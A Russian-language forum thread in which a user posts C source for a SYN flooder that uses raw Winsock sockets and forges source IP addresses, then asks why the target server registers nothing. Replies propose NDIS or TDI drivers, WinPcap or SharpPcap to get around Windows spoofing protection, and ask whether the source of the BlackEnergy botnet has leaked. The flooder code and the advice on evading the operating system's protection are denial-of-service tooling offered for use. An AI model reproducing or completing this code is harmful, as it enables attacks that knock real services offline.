решил написать флудер на сырых сокетах с продменой исходного адреса в tcp и ip заголовках. скопировал из линупса описания заголовков tcp/ip(по идее должно быть пох откуда - оси разные а протокол один и тот же): PHP: #define MAXTTL 255 #define u_int16_t unsigned short #define u_int32_t unsigned long #define u_int8_t unsigned char struct ip { u_int ip_hl:4, /* header length */ ip_v:4; /* ip version */ u_char ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src,ip_dst; /* source and dest address */ }; struct tcphdr { u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; # if __BYTE_ORDER == __LITTLE_ENDIAN u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; # elif __BYTE_ORDER == __BIG_ENDIAN u_int16_t doff:4; u_int16_t res1:4; u_int16_t res2:2; u_int16_t urg:1; u_int16_t ack:1; u_int16_t psh:1; u_int16_t rst:1; u_int16_t syn:1; u_int16_t fin:1; # else # error "Adjust your <bits/endian.h> defines" # endif u_int16_t window; u_int16_t check; u_int16_t urg_ptr; }; нашел флудер под линупс готовый, переделал под виндовские сокеты: PHP: #include <Winsock2.h>//Ws2_32.lib #include <ws2tcpip.h> #include <Windows.h> #include "tcpip.h" #include "mycrt.h" #define MAX_PACKET_SIZE 4096 /* ugh..so many magic numbers in here */ /* function for header checksums */ #define rand GetTickCount unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct ip *iph) { iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = sizeof(struct ip) + sizeof(struct tcphdr); iph->ip_id = htonl(54321); iph->ip_off = 0; iph->ip_ttl = MAXTTL; iph->ip_p = 6; // upper layer protocol, TCP iph->ip_sum = 0; // Initial IP, changed later in infinite loop iph->ip_src.S_un.S_addr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(5678); tcph->seq = rand(); tcph->ack_seq = 0; tcph->res2 = 0; tcph->doff = 5; // Make it look like there will be data tcph->syn = 1; tcph->window = htonl(65535); tcph->check = 0; tcph->urg_ptr = 0; } int syn_flood() { char *datagram=(char *)valloc_wrapper(MAX_PACKET_SIZE); struct ip *iph = (struct ip *)datagram; struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (5 * sizeof(u_int32_t))); struct sockaddr_in sin; char *new_ip=(char *)valloc_wrapper(sizeof "255.255.255.255"); int s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); unsigned int floodport = 25565; int tmp = 1; const int *val = &tmp; sin.sin_family = AF_INET; sin.sin_port = htons(floodport); sin.sin_addr.s_addr = inet_addr("127.0.0.1");//inet_addr("93.126.94.36"); // Clear the data memset(datagram, 0, MAX_PACKET_SIZE); // Set appropriate fields in headers setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(floodport); iph->ip_dst = sin.sin_addr; iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); /* a IP_HDRINCL call, to make sure that the kernel knows * the header is included in the data, and doesn't insert * its own header into the packet before our data */ setsockopt(s, IPPROTO_IP, IP_HDRINCL, (const char *)val, sizeof (tmp)); /*for(;;){*/ sendto(s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->ip_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof(sin)); // Randomize source IP and source port wsprintf(new_ip,"%lu.%lu.%lu.%lu",rand() % 255,rand() % 255,rand() % 255,rand() % 255); iph->ip_src.S_un.S_addr = inet_addr(new_ip); tcph->source = htons(rand() % 65535); iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); /*}*/ return 0; } но почему то программа сервер вообще не регистрирует подключение.... в чем проблема?
бля... еще раз бля... придется делать NDIS или TDI-драйвер... или через WinPcap. единственное что она не на всех компах по умолчанию есть... хотя... BlackEnergy как то делает это. его сорцы случайно никуда не утекали, никто не пиздил?
У BlackEnergy был драйвер для скрытия процесса. Вполне возможно, что для спуфинга он тоже использовался.
а провайдер такое блочить не будет, ведь у многих айпишник привязан к мак адресу, мне что то кажется что пакет мало у кого дойдет до получателя ? P.S знакомый экспериментировал с рав сокетами в Linux , но ему провайдер пакет в инет не выпустил
IP спуфинг из под винды ну это вы загнули... возможность IP спуфинга возможна только на Windows 2000... начиная с ХР там включен SPOOF CONTROL и адрес отправителя вам сама винда подменить не даст, но выход из этой ситуации есть и называется он SharpPcap - динамическая библиотка для C# которая как раз и позволяет делать всё то что вы хотите если не секрет, зачем вам это?